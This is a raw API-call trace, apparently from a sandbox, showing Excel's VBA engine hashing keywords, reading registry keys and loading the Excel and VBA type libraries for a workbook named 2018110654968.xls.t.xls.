	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarDescription") returned 0x103303
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarHelpID") returned 0x10a3b6
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarMemberFlags") returned 0x10b6ea
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarProcData") returned 0x101b0c
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_UserMemId") returned 0x107b95
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarUserMemId") returned 0x104d5f
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77
	[0049.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=",") returned 0x101043
	[0049.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=".") returned 0x101045
	[0049.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="\"") returned 0x101039
	[0049.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_") returned 0x101076
	[0049.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngPtr") returned 0x105ab0
	[0049.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngPtr") returned 0x1036f2
	[0049.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a
	[0049.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngLng") returned 0x104463
	[0049.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngLng") returned 0x1020a5
	[0049.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongLong") returned 0x10378e
	[0049.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0049.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047
	[0049.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047
	[0049.954] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x26f1c0 | out: phkResult=0x26f1c0*=0xb12) returned 0x0
	[0049.954] RegOpenKeyW (in: hKey=0xb12, lpSubKey="{00020813-0000-0000-C000-000000000046}", phkResult=0x26f1b8 | out: phkResult=0x26f1b8*=0xa46) returned 0x0
	[0049.954] RegEnumKeyW (in: hKey=0xa46, dwIndex=0x0, lpName=0x26f1e8, cchName=0xa | out: lpName="1.9") returned 0x0
	[0049.955] wcscpy_s (in: _Destination=0x26f1d0, _SizeInWords=0xa, _Source="1.9" | out: _Destination="1.9") returned 0x0
	[0049.955] RegOpenKeyW (in: hKey=0xa46, lpSubKey="1.9", phkResult=0x26f278 | out: phkResult=0x26f278*=0xa6a) returned 0x0
	[0049.956] _ultoa_s (in: _Val=0x409, _DstBuf=0x26f1f0, _Size=0xa, _Radix=16 | out: _DstBuf="409") returned 0x0
	[0049.956] RegOpenKeyA (in: hKey=0xa6a, lpSubKey="409", phkResult=0x26f1e0 | out: phkResult=0x26f1e0*=0x0) returned 0x2
	[0049.956] _ultoa_s (in: _Val=0x9, _DstBuf=0x26f1f0, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0
	[0049.956] RegOpenKeyA (in: hKey=0xa6a, lpSubKey="9", phkResult=0x26f1e0 | out: phkResult=0x26f1e0*=0x0) returned 0x2
	[0049.957] RegOpenKeyA (in: hKey=0xa6a, lpSubKey="0", phkResult=0x26f1e0 | out: phkResult=0x26f1e0*=0xa6e) returned 0x0
	[0049.957] RegOpenKeyW (in: hKey=0xa6e, lpSubKey="win64", phkResult=0x26f1e8 | out: phkResult=0x26f1e8*=0xd06) returned 0x0
	[0049.958] RegCloseKey (hKey=0xd06) returned 0x0
	[0049.958] RegCloseKey (hKey=0xa6e) returned 0x0
	[0049.958] _ultow_s (in: _Value=0x0, _Buffer=0x26f280, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0
	[0049.958] RegOpenKeyW (in: hKey=0xa6a, lpSubKey="0", phkResult=0x26f258 | out: phkResult=0x26f258*=0xa5a) returned 0x0
	[0049.959] RegQueryValueW (in: hKey=0xa5a, lpSubKey="win64", lpData=0x26f2a0, lpcbData=0x26f254 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE", lpcbData=0x26f254) returned 0x0
	[0049.959] wcscpy_s (in: _Destination=0x26f5d0, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0
	[0049.959] RegCloseKey (hKey=0xa5a) returned 0x0
	[0049.959] RegCloseKey (hKey=0xa6a) returned 0x0
	[0049.960] RegCloseKey (hKey=0xa46) returned 0x0
	[0049.960] RegCloseKey (hKey=0xb12) returned 0x0
	[0049.960] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE", pptlib=0x26f258*=0x0 | out: pptlib=0x26f258*=0xb9fc260) returned 0x0
	[0050.073] ITypeLib:RemoteGetDocumentation (in: This=0xb9fc260, index=-1, refPtrFlags=0x26f278, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd54c7d8 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd54c7d8) returned 0x0
	[0050.073] IUnknown:QueryInterface (in: This=0xb9fc260, riid=0x7fee6105c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26f068 | out: ppvObject=0x26f068*=0x0) returned 0x80004002
	[0050.073] ITypeLib:RemoteGetLibAttr (in: This=0xb9fc260, ppTLibAttr=0x26f060, pDummy=0x10 | out: ppTLibAttr=0x26f060, pDummy=0x10) returned 0x0
	[0050.073] ITypeLib:RemoteGetDocumentation (in: This=0xb9fc260, index=-1, refPtrFlags=0x0, pbstrName=0x26f058, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x750d9c0 | out: pbstrName=0x26f058*="Microsoft Excel 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x750d9c0) returned 0x0
	[0050.073] StringFromGUID2 (in: rguid=0x502c7c0*(Data1=0x20813, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x26f080, cchMax=39 | out: lpsz="{00020813-0000-0000-C000-000000000046}") returned 39
	[0050.073] _ultow_s (in: _Value=0x1, _Buffer=0x26efca, _BufferCount=0x10, _Radix=16 | out: _Buffer="1") returned 0x0
	[0050.073] _ultow_s (in: _Value=0x9, _Buffer=0x26efce, _BufferCount=0xe, _Radix=16 | out: _Buffer="9") returned 0x0
	[0050.073] _ultow_s (in: _Value=0x0, _Buffer=0x26efd2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0
	[0050.073] wcscpy_s (in: _Destination=0x7013d98, _SizeInWords=0x8e, _Source="*\\G" | out: _Destination="*\\G") returned 0x0
	[0050.073] wcscpy_s (in: _Destination=0x7013d9e, _SizeInWords=0x8b, _Source="{00020813-0000-0000-C000-000000000046}" | out: _Destination="{00020813-0000-0000-C000-000000000046}") returned 0x0
	[0050.073] wcscpy_s (in: _Destination=0x7013dea, _SizeInWords=0x65, _Source="#1.9#0#" | out: _Destination="#1.9#0#") returned 0x0
	[0050.073] wcscpy_s (in: _Destination=0x7013df8, _SizeInWords=0x5e, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0
	[0050.073] wcscpy_s (in: _Destination=0x7013e6c, _SizeInWords=0x24, _Source="Microsoft Excel 16.0 Object Library" | out: _Destination="Microsoft Excel 16.0 Object Library") returned 0x0
	[0050.073] ITypeLib:LocalReleaseTLibAttr (This=0xb9fc260) returned 0x0
	[0050.073] IMalloc:Realloc (This=0x7feffc15380, pv=0xba54010, cb=0x1a0) returned 0xbb41480
	[0050.073] wcscpy_s (in: _Destination=0xbb41480, _SizeInWords=0x8e, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library" | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0
	[0050.073] ITypeLib:RemoteGetDocumentation (in: This=0xb9fc260, index=-1, refPtrFlags=0x26f178, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5) returned 0x0
	[0050.074] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Excel") returned 0x102b80
	[0050.074] strcpy_s (in: _Dst=0x26ef70, _DstSize=0x6, _Src="Excel" | out: _Dst="Excel") returned 0x0
	[0050.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26ef70, cbMultiByte=6, lpWideCharStr=0x26edc0, cchWideChar=6 | out: lpWideCharStr="Excel") returned 6
	[0050.074] wcsncpy_s (in: _Destination=0x26ed70, _SizeInWords=0x108, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0
	[0050.074] CharLowerBuffW (in: lpsz="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library") returned 0x8d
	[0050.074] IMalloc:Alloc (This=0x7feffc15380, cb=0x11c) returned 0xbbfc930
	[0050.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", cchWideChar=142, lpMultiByteStr=0xbbfc930, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", lpUsedDefaultChar=0x0) returned 142
	[0050.074] IMalloc:Free (This=0x7feffc15380, pv=0xbbfc930) 
	[0050.074] IMalloc:Realloc (This=0x7feffc15380, pv=0xb97caf0, cb=0x220) returned 0xb6181b0
	[0050.074] wcscpy_s (in: _Destination=0xb618260, _SizeInWords=0x8e, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library" | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0
	[0050.074] wcsncpy_s (in: _Destination=0x26edb0, _SizeInWords=0x108, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0
	[0050.074] CharLowerBuffW (in: lpsz="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library") returned 0x8d
	[0050.074] IMalloc:Alloc (This=0x7feffc15380, cb=0x11c) returned 0xbbfc930
	[0050.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", cchWideChar=142, lpMultiByteStr=0xbbfc930, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", lpUsedDefaultChar=0x0) returned 142
	[0050.074] IMalloc:Free (This=0x7feffc15380, pv=0xbbfc930) 
	[0050.074] wcsncpy_s (in: _Destination=0x26ed70, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0x0
	[0050.074] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", cchLength=0x34 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls") returned 0x34
	[0050.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", cchWideChar=53, lpMultiByteStr=0x26eca0, cbMultiByte=106, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", lpUsedDefaultChar=0x0) returned 53
	[0050.074] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0
	[0050.074] IUnknown:AddRef (This=0xb9fc260) returned 0x2
	[0050.074] IUnknown:QueryInterface (in: This=0xb9fc260, riid=0x7fee61085a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26f198 | out: ppvObject=0x26f198*=0x0) returned 0x80004002
	[0050.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x26f160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6
	[0050.074] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Excel") returned 0x102b80
	[0050.074] IUnknown:Release (This=0xb9fc260) returned 0x1
	[0050.074] GetModuleFileNameW (in: hModule=0x7fee5d60000, lpFilename=0x7fee613e4c0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42
	[0050.075] QueryPathOfRegTypeLib (in: guid=0x7fee610dd50*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x4, wMin=0x0, lcid=0x409, lpbstrPathName=0x26f200 | out: lpbstrPathName=0x26f200) returned 0x0
	[0050.080] LoadTypeLibEx (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", regkind=0x2, pptlib=0x26f258*=0x0 | out: pptlib=0x26f258*=0xb9fd070) returned 0x0
	[0050.089] IUnknown:AddRef (This=0xb9fd070) returned 0x2
	[0050.089] ITypeLib:RemoteGetDocumentation (in: This=0xb9fd070, index=-1, refPtrFlags=0x26f278, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3ce9d0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3ce9d0*="\xe9d0\x3c") returned 0x0
	[0050.089] IUnknown:QueryInterface (in: This=0xb9fd070, riid=0x7fee6105c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26f068 | out: ppvObject=0x26f068*=0x0) returned 0x80004002
	[0050.089] ITypeLib:RemoteGetLibAttr (in: This=0xb9fd070, ppTLibAttr=0x26f060, pDummy=0x10 | out: ppTLibAttr=0x26f060, pDummy=0x10) returned 0x0
	[0050.089] ITypeLib:RemoteGetDocumentation (in: This=0xb9fd070, index=-1, refPtrFlags=0x0, pbstrName=0x26f058, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7400f2479914 | out: pbstrName=0x26f058*="Visual Basic For Applications", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7400f2479914) returned 0x0
	[0050.089] StringFromGUID2 (in: rguid=0x502c7c0*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x26f080, cchMax=39 | out: lpsz="{000204EF-0000-0000-C000-000000000046}") returned 39
	[0050.089] _ultow_s (in: _Value=0x4, _Buffer=0x26efca, _BufferCount=0x10, _Radix=16 | out: _Buffer="4") returned 0x0
	[0050.089] _ultow_s (in: _Value=0x2, _Buffer=0x26efce, _BufferCount=0xe, _Radix=16 | out: _Buffer="2") returned 0x0
	[0050.089] _ultow_s (in: _Value=0x9, _Buffer=0x26efd2, _BufferCount=0xc, _Radix=16 | out: _Buffer="9") returned 0x0
	[0050.090] wcscpy_s (in: _Destination=0x7013d98, _SizeInWords=0x91, _Source="*\\G" | out: _Destination="*\\G") returned 0x0
	[0050.090] wcscpy_s (in: _Destination=0x7013d9e, _SizeInWords=0x8e, _Source="{000204EF-0000-0000-C000-000000000046}" | out: _Destination="{000204EF-0000-0000-C000-000000000046}") returned 0x0
	[0050.090] wcscpy_s (in: _Destination=0x7013dea, _SizeInWords=0x68, _Source="#4.2#9#" | out: _Destination="#4.2#9#") returned 0x0
	[0050.090] wcscpy_s (in: _Destination=0x7013df8, _SizeInWords=0x61, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0
	[0050.090] wcscpy_s (in: _Destination=0x7013e7e, _SizeInWords=0x1e, _Source="Visual Basic For Applications" | out: _Destination="Visual Basic For Applications") returned 0x0
	[0050.090] ITypeLib:LocalReleaseTLibAttr (This=0xb9fd070) returned 0x0
	[0050.090] IMalloc:Realloc (This=0x7feffc15380, pv=0xbb41480, cb=0x340) returned 0xb6988f0
	[0050.090] wcscpy_s (in: _Destination=0xb698a38, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0
	[0050.090] ITypeLib:RemoteGetDocumentation (in: This=0xb9fd070, index=-1, refPtrFlags=0x26f178, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3) returned 0x0
	[0050.090] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7
	[0050.090] strcpy_s (in: _Dst=0x26ef70, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0
	[0050.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26ef70, cbMultiByte=4, lpWideCharStr=0x26edc0, cchWideChar=4 | out: lpWideCharStr="VBA") returned 4
	[0050.090] IUnknown:AddRef (This=0xb9fc260) returned 0x2
	[0050.090] ITypeLib:RemoteIsName (in: This=0xb9fc260, szNameBuf="VBA", lHashVal=0x10e2f7, pfName=0x26ee90, pBstrLibName=0x26edc0 | out: pfName=0x26ee90*=0, pBstrLibName=0x26edc0) returned 0x0
	[0050.109] IUnknown:Release (This=0xb9fc260) returned 0x1
	[0050.109] IMalloc:Alloc (This=0x7feffc15380, cb=0xc) returned 0xbb70d10
	[0050.109] IMalloc:Free (This=0x7feffc15380, pv=0x75e5370) 
	[0050.109] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x75e5370
	[0050.109] IMalloc:Free (This=0x7feffc15380, pv=0xbb70d10) 
	[0050.109] wcsncpy_s (in: _Destination=0x26ed70, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0
	[0050.109] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90
	[0050.109] IMalloc:Alloc (This=0x7feffc15380, cb=0x122) returned 0xbbfc930
	[0050.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xbbfc930, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145
	[0050.109] IMalloc:Free (This=0x7feffc15380, pv=0xbbfc930) 
	[0050.109] IMalloc:Realloc (This=0x7feffc15380, pv=0xb6181b0, cb=0x440) returned 0xbb67180
	[0050.109] wcscpy_s (in: _Destination=0xbb67380, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0
	[0050.109] wcsncpy_s (in: _Destination=0x26edb0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0
	[0050.109] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90
	[0050.109] IMalloc:Alloc (This=0x7feffc15380, cb=0x122) returned 0xbbfc930
	[0050.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xbbfc930, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145
	[0050.109] IMalloc:Free (This=0x7feffc15380, pv=0xbbfc930) 
	[0050.109] wcsncpy_s (in: _Destination=0x26ed70, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0x0
	[0050.109] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", cchLength=0x34 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls") returned 0x34
	[0050.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", cchWideChar=53, lpMultiByteStr=0x26eca0, cbMultiByte=106, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", lpUsedDefaultChar=0x0) returned 53
	[0050.109] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0
	[0050.109] IUnknown:AddRef (This=0xb9fd070) returned 0x3
	[0050.110] IUnknown:QueryInterface (in: This=0xb9fd070, riid=0x7fee61085a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26f198 | out: ppvObject=0x26f198*=0x0) returned 0x80004002
	[0050.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x26f160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4
	[0050.110] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7
	[0050.110] IUnknown:Release (This=0xb9fd070) returned 0x2
	[0050.110] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbacf0f0
	[0050.110] IMalloc:GetSize (This=0x7feffc15380, pv=0xbacf0f0) returned 0x0
	[0050.110] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbacf100
	[0050.110] IMalloc:GetSize (This=0x7feffc15380, pv=0xbacf100) returned 0x0
	[0050.111] VirtualQuery (in: lpAddress=0x26f740, lpBuffer=0x26f700, dwLength=0x30 | out: lpBuffer=0x26f700*(BaseAddress=0x26f000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x21000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0050.111] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbacf110
	[0050.111] qsort (in: _Base=0xbacf110, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7fee5eb5594 | out: _Base=0xbacf110) 
	[0050.112] IMalloc:Free (This=0x7feffc15380, pv=0xbacf110) 
	[0050.112] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb70d10
	[0050.112] IMalloc:Alloc (This=0x7feffc15380, cb=0xc) returned 0xbb70df0
	[0050.112] IMalloc:GetSize (This=0x7feffc15380, pv=0xbb70df0) returned 0xc
